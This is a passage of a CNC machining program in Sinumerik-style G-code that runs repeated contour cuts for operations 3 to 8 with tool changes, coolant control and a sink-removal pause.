$R44=0\r\nN105 M15\r\nN106 G0 Z5.0\r\nN107 M9\r\n;MD14512[5] = 1H\r\nN108 IF $MN_USER_DATA_HEX[5] B_AND 'B00000001'\r\nN109 PARKPAUSE\r\nN110 ELSE\r\nN111 D0\r\nN112 IF W_BLADE==TRUE\r\nN113 G00 SUPA Z=0\r\nN114 ENDIF\r\nN115 M5\r\nN116 SUPA X=$MA_POS_LIMIT_PLUS[X]-0.1 Y=$MA_POS_LIMIT_PLUS[Y]-0.1\r\nN117 MSG (\"- PAUSED - REMOVE SINK AND PRESS CYCLE START TO CONTINUE\")\r\nN118 M0\r\nN119 D1\r\nN120 M3\r\nN121 MSG(\"\")\r\nN122 ENDIF\r\nN123 M5\r\nN124 D0\r\nN125 IF W_BLADE==TRUE\r\nN126 G00 SUPA Z=0 BZ=0\r\nN127 ELSE\r\nN128 G00 SUPA Z=0\r\nN129 ENDIF\r\nN130 ; T49 (049) A30 R3 POS 0 CNC 2\r\nN131 T49 D1\r\nN132 M6\r\nN133 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN134 G54 CFIN\r\nN135 ; OP 3\r\nN136 G90 G0 X-8.4366 Y-4.8499\r\nN137 Z5.0\r\nN138 S5500 M3\r\nN139 G4 F1.0\r\nN140 G0 Z4.0\r\nN141 M8\r\nN142 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN143 M13\r\nN144 DO $R44=1\r\nN145 G41\r\nN146 G90 G1 X-7.0092 Y-5.5081 Z0.0 F50.0\r\nN147 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F50.0\r\nN148 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F50.0\r\nN149 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F50.0\r\nN150 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F50.0\r\nN151 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F50.0\r\nN152 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F50.0\r\nN153 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F50.0\r\nN154 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F50.0\r\nN155 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F50.0\r\nN156 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F50.0\r\nN157 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F50.0\r\nN158 DO $R44=0\r\nN159 M15\r\nN160 G0 Z5.0\r\nN161 M9\r\nN162 G90 G0 X-9.4749 Y0.8697\r\nN163 Z4.0\r\nN164 M8\r\nN165 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN166 M13\r\nN167 DO $R44=1\r\nN168 G41\r\nN169 G90 G1 X-8.1381 Y2.0792 Z0.0 F50.0\r\nN170 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F50.0\r\nN171 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F50.0\r\nN172 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F50.0\r\nN173 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F50.0\r\nN174 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F50.0\r\nN175 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F50.0\r\nN176 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F50.0\r\nN177 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F50.0\r\nN178 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F50.0\r\nN179 G40 G90 G1 X-7.896 Y6.405 Z0.0 F50.0\r\nN180 DO $R44=0\r\nN181 M15\r\nN182 G0 Z5.0\r\nN183 M9\r\nN184 G90 G0 X-15.4413 Y2.6078\r\nN185 Z4.0\r\nN186 M8\r\nN187 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN188 M13\r\nN189 DO $R44=1\r\nN190 G41\r\nN191 G90 G1 X-16.5435 Y4.0344 Z0.0 F50.0\r\nN192 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F50.0\r\nN193 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F50.0\r\nN194 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F50.0\r\nN195 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F50.0\r\nN196 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F50.0\r\nN197 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F50.0\r\nN198 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F50.0\r\nN199 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F50.0\r\nN200 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F50.0\r\nN201 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F50.0\r\nN202 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F50.0\r\nN203 DO $R44=0\r\nN204 M15\r\nN205 G0 Z5.0\r\nN206 M9\r\nN207 M5\r\nN208 D0\r\nN209 IF W_BLADE==TRUE\r\nN210 G00 SUPA Z=0 BZ=0\r\nN211 ELSE\r\nN212 G00 SUPA Z=0\r\nN213 ENDIF\r\nN214 ; T50 (050) A30 R3 POS 1 CNC 2\r\nN215 T50 D1\r\nN216 M6\r\nN217 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN218 G54 CFIN\r\nN219 ; OP 4\r\nN220 G90 G0 X-8.4366 Y-4.8499\r\nN221 Z5.0\r\nN222 S5500 M3\r\nN223 G4 F1.0\r\nN224 G0 Z4.0\r\nN225 M8\r\nN226 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN227 M13\r\nN228 DO $R44=1\r\nN229 G41\r\nN230 G90 G1 X-7.0092 Y-5.5081 Z0.0 F120.0\r\nN231 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F120.0\r\nN232 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F120.0\r\nN233 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F120.0\r\nN234 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F120.0\r\nN235 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F120.0\r\nN236 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F120.0\r\nN237 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F120.0\r\nN238 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F120.0\r\nN239 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F120.0\r\nN240 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F120.0\r\nN241 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F120.0\r\nN242 DO $R44=0\r\nN243 M15\r\nN244 G0 Z5.0\r\nN245 M9\r\nN246 G90 G0 X-9.4749 Y0.8697\r\nN247 Z4.0\r\nN248 M8\r\nN249 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN250 M13\r\nN251 DO $R44=1\r\nN252 G41\r\nN253 G90 G1 X-8.1381 Y2.0792 Z0.0 F120.0\r\nN254 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F120.0\r\nN255 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F120.0\r\nN256 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F120.0\r\nN257 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F120.0\r\nN258 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F120.0\r\nN259 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F120.0\r\nN260 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F120.0\r\nN261 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F120.0\r\nN262 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F120.0\r\nN263 G40 G90 G1 X-7.896 Y6.405 Z0.0 F120.0\r\nN264 DO $R44=0\r\nN265 M15\r\nN266 G0 Z5.0\r\nN267 M9\r\nN268 G90 G0 X-15.4413 Y2.6078\r\nN269 Z4.0\r\nN270 M8\r\nN271 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN272 M13\r\nN273 DO $R44=1\r\nN274 G41\r\nN275 G90 G1 X-16.5435 Y4.0344 Z0.0 F120.0\r\nN276 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F120.0\r\nN277 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F120.0\r\nN278 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F120.0\r\nN279 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F120.0\r\nN280 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F120.0\r\nN281 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F120.0\r\nN282 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F120.0\r\nN283 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F120.0\r\nN284 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F120.0\r\nN285 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F120.0\r\nN286 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F120.0\r\nN287 DO $R44=0\r\nN288 M15\r\nN289 G0 Z5.0\r\nN290 M9\r\nN291 M5\r\nN292 D0\r\nN293 IF W_BLADE==TRUE\r\nN294 G00 SUPA Z=0 BZ=0\r\nN295 ELSE\r\nN296 G00 SUPA Z=0\r\nN297 ENDIF\r\nN298 ; T51 (051) A30 R3 POS 2 CNC 2\r\nN299 T51 D1\r\nN300 M6\r\nN301 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN302 G54 CFIN\r\nN303 ; OP 5\r\nN304 G90 G0 X-8.4366 Y-4.8499\r\nN305 Z5.0\r\nN306 S5500 M3\r\nN307 G4 F1.0\r\nN308 G0 Z4.0\r\nN309 M8\r\nN310 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN311 M13\r\nN312 DO $R44=1\r\nN313 G41\r\nN314 G90 G1 X-7.0092 Y-5.5081 Z0.0 F120.0\r\nN315 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F120.0\r\nN316 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F120.0\r\nN317 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F120.0\r\nN318 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F120.0\r\nN319 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F120.0\r\nN320 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F120.0\r\nN321 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F120.0\r\nN322 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F120.0\r\nN323 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F120.0\r\nN324 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F120.0\r\nN325 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F120.0\r\nN326 DO $R44=0\r\nN327 M15\r\nN328 G0 Z5.0\r\nN329 M9\r\nN330 G90 G0 X-9.4749 Y0.8697\r\nN331 Z4.0\r\nN332 M8\r\nN333 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN334 M13\r\nN335 DO $R44=1\r\nN336 G41\r\nN337 G90 G1 X-8.1381 Y2.0792 Z0.0 F120.0\r\nN338 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F120.0\r\nN339 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F120.0\r\nN340 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F120.0\r\nN341 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F120.0\r\nN342 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F120.0\r\nN343 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F120.0\r\nN344 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F120.0\r\nN345 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F120.0\r\nN346 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F120.0\r\nN347 G40 G90 G1 X-7.896 Y6.405 Z0.0 F120.0\r\nN348 DO $R44=0\r\nN349 M15\r\nN350 G0 Z5.0\r\nN351 M9\r\nN352 G90 G0 X-15.4413 Y2.6078\r\nN353 Z4.0\r\nN354 M8\r\nN355 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN356 M13\r\nN357 DO $R44=1\r\nN358 G41\r\nN359 G90 G1 X-16.5435 Y4.0344 Z0.0 F120.0\r\nN360 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F120.0\r\nN361 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F120.0\r\nN362 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F120.0\r\nN363 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F120.0\r\nN364 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F120.0\r\nN365 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F120.0\r\nN366 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F120.0\r\nN367 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F120.0\r\nN368 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F120.0\r\nN369 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F120.0\r\nN370 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F120.0\r\nN371 DO $R44=0\r\nN372 M15\r\nN373 G0 Z5.0\r\nN374 M9\r\nN375 M5\r\nN376 D0\r\nN377 IF W_BLADE==TRUE\r\nN378 G00 SUPA Z=0 BZ=0\r\nN379 ELSE\r\nN380 G00 SUPA Z=0\r\nN381 ENDIF\r\nN382 ; T52 (052) A30 R3 POS 3 CNC 2\r\nN383 T52 D1\r\nN384 M6\r\nN385 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN386 G54 CFIN\r\nN387 ; OP 6\r\nN388 G90 G0 X-8.4366 Y-4.8499\r\nN389 Z5.0\r\nN390 S5500 M3\r\nN391 G4 F1.0\r\nN392 G0 Z4.0\r\nN393 M8\r\nN394 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN395 M13\r\nN396 DO $R44=1\r\nN397 G41\r\nN398 G90 G1 X-7.0092 Y-5.5081 Z0.0 F50.0\r\nN399 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F50.0\r\nN400 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F50.0\r\nN401 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F50.0\r\nN402 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F50.0\r\nN403 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F50.0\r\nN404 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F50.0\r\nN405 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F50.0\r\nN406 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F50.0\r\nN407 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F50.0\r\nN408 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F50.0\r\nN409 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F50.0\r\nN410 DO $R44=0\r\nN411 M15\r\nN412 G0 Z5.0\r\nN413 M9\r\nN414 G90 G0 X-9.4749 Y0.8697\r\nN415 Z4.0\r\nN416 M8\r\nN417 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN418 M13\r\nN419 DO $R44=1\r\nN420 G41\r\nN421 G90 G1 X-8.1381 Y2.0792 Z0.0 F50.0\r\nN422 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F50.0\r\nN423 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F50.0\r\nN424 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F50.0\r\nN425 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F50.0\r\nN426 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F50.0\r\nN427 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F50.0\r\nN428 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F50.0\r\nN429 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F50.0\r\nN430 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F50.0\r\nN431 G40 G90 G1 X-7.896 Y6.405 Z0.0 F50.0\r\nN432 DO $R44=0\r\nN433 M15\r\nN434 G0 Z5.0\r\nN435 M9\r\nN436 G90 G0 X-15.4413 Y2.6078\r\nN437 Z4.0\r\nN438 M8\r\nN439 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN440 M13\r\nN441 DO $R44=1\r\nN442 G41\r\nN443 G90 G1 X-16.5435 Y4.0344 Z0.0 F50.0\r\nN444 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F50.0\r\nN445 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F50.0\r\nN446 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F50.0\r\nN447 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F50.0\r\nN448 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F50.0\r\nN449 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F50.0\r\nN450 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F50.0\r\nN451 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F50.0\r\nN452 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F50.0\r\nN453 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F50.0\r\nN454 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F50.0\r\nN455 DO $R44=0\r\nN456 M15\r\nN457 G0 Z5.0\r\nN458 M9\r\nN459 M5\r\nN460 D0\r\nN461 IF W_BLADE==TRUE\r\nN462 G00 SUPA Z=0 BZ=0\r\nN463 ELSE\r\nN464 G00 SUPA Z=0\r\nN465 ENDIF\r\nN466 ; T53 (053) A30 R3 POS 4 CNC 2\r\nN467 T53 D1\r\nN468 M6\r\nN469 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN470 G54 CFIN\r\nN471 ; OP 7\r\nN472 G90 G0 X-8.4366 Y-4.8499\r\nN473 Z5.0\r\nN474 S2500 M3\r\nN475 G4 F1.0\r\nN476 G0 Z4.0\r\nN477 M8\r\nN478 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN479 M13\r\nN480 DO $R44=1\r\nN481 G41\r\nN482 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0\r\nN483 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0\r\nN484 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0\r\nN485 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0\r\nN486 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0\r\nN487 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0\r\nN488 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0\r\nN489 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0\r\nN490 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0\r\nN491 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0\r\nN492 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0\r\nN493 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0\r\nN494 DO $R44=0\r\nN495 M15\r\nN496 G0 Z5.0\r\nN497 M9\r\nN498 G90 G0 X-9.4749 Y0.8697\r\nN499 Z4.0\r\nN500 M8\r\nN501 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN502 M13\r\nN503 DO $R44=1\r\nN504 G41\r\nN505 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0\r\nN506 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0\r\nN507 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0\r\nN508 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0\r\nN509 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0\r\nN510 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0\r\nN511 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0\r\nN512 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0\r\nN513 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0\r\nN514 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0\r\nN515 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0\r\nN516 DO $R44=0\r\nN517 M15\r\nN518 G0 Z5.0\r\nN519 M9\r\nN520 G90 G0 X-15.4413 Y2.6078\r\nN521 Z4.0\r\nN522 M8\r\nN523 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN524 M13\r\nN525 DO $R44=1\r\nN526 G41\r\nN527 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0\r\nN528 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0\r\nN529 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0\r\nN530 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0\r\nN531 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0\r\nN532 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0\r\nN533 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0\r\nN534 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0\r\nN535 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0\r\nN536 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0\r\nN537 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0\r\nN538 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0\r\nN539 DO $R44=0\r\nN540 M15\r\nN541 G0 Z5.0\r\nN542 M9\r\nN543 M5\r\nN544 D0\r\nN545 IF W_BLADE==TRUE\r\nN546 G00 SUPA Z=0 BZ=0\r\nN547 ELSE\r\nN548 G00 SUPA Z=0\r\nN549 ENDIF\r\nN550 ; T54 (054) A30 R3 POS 5 CNC 2\r\nN551 T54 D1\r\nN552 M6\r\nN553 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN554 G54 CFIN\r\nN555 ; OP 8\r\nN556 G90 G0 X-8.4366 Y-4.8499\r\nN557 Z5.0\r\nN558 S2500 M3\r\nN559 G4 F1.0\r\nN560 G0 Z4.0\r\nN561 M8\r\nN562 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN563 M13\r\nN564 DO $R44=1\r\nN565 G41\r\nN566 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0\r\nN567 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0\r\nN568 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0\r\nN569 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0\r\nN570 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0\r\nN571 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0\r\nN572 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0\r\nN573 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0\r\nN574 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0\r\nN575 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0\r\nN576 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0\r\nN577 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0\r\nN578 DO $R44=0\r\nN579 M15\r\nN580 G0 Z5.0\r\nN581 M9\r\nN582 G90 G0 X-9.4749 Y0.8697\r\nN583 Z4.0\r\nN584 M8\r\nN585 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN586 M13\r\nN587 DO $R44=1\r\nN588 G41\r\nN589 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0\r\nN590 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0\r\nN591 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0\r\nN592 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0\r\nN593 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0\r\nN594 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0\r\nN595 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0\r\nN596 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0\r\nN597 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0\r\nN598 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0\r\nN599 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0\r\nN600 DO $R44=0\r\nN601 M15\r\nN602 G0 Z5.0\r\nN603 M9\r\nN604 G90 G0 X-15.4413 Y2.6078\r\nN605 Z4.0\r\nN606 M8\r\nN607 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN608 M13\r\nN609 DO $R44=1\r\nN610 G41\r\nN611 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0\r\nN612 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0\r\nN613 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0\r\nN614 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0\r\nN615 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0\r\nN616 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0\r\nN617 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0\r\nN618 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0\r\nN619 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0\r\nN620 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0\r\nN621 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0\r\nN622 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0\r\nN623 DO $R44=0\r\nN624 M15\r\nN625 G0 